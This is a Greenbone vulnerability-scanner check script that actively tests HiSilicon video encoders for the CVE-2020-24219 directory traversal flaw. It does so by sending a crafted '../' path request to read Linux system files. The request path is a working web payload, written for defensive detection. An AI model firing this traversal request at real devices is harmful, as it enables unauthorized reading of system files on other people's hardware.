HiSilicon Encoder Directory Traversal Vulnerability - Active Check

# SPDX-FileCopyrightText: 2020 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.112827");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2020-09-24 08:31:25 +0000 (Thu, 24 Sep 2020)");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:N/A:N");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2020-10-19 18:15:00 +0000 (Mon, 19 Oct 2020)");

  script_cve_id("CVE-2020-24219");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("HiSilicon Encoder Directory Traversal Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2020 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl", "os_detection.nasl");
  # nb: No "more" specific mandatory keys because there might be different (branded) devices/vendors
  # affected as well...
  script_mandatory_keys("Host/runs_unixoide");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"HiSilicon Encoders are prone to a directory traversal vulnerability in /sys/devices/media/13070000.jpgd.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"affected", value:"HiSilicon Encoders. Other products might be vulnerable as well.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since
  the disclosure of this vulnerability. Likely none will be provided anymore. General solution options
  are to upgrade to a newer release, disable respective features, remove the product or replace the
  product by another one.");

  script_xref(name:"URL", value:"https://kojenov.com/2020-09-15-hisilicon-encoder-vulnerabilities/#arbitrary-file-disclosure-via-path-traversal-cve-2020-24219");
  script_xref(name:"URL", value:"https://www.kb.cert.org/vuls/id/896979");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("port_service_func.inc");

port = http_get_port(default: 80);

files = traversal_files("linux");

foreach pattern (keys(files)) {
  url = "/../../sys/devices/media/13070000.jpgd/" + crap(length: 3*4, data: "../") + files[pattern];
  req = http_get(port: port, item: url);
  res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);

  if (egrep(pattern: pattern, string: res)) {
    report = 'It was possible to obtain the file ' + files[pattern] + ' via the url ' +
             http_report_vuln_url(port: port, url: url, url_only: TRUE) + '\n\nResult:\n\n' + res;
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);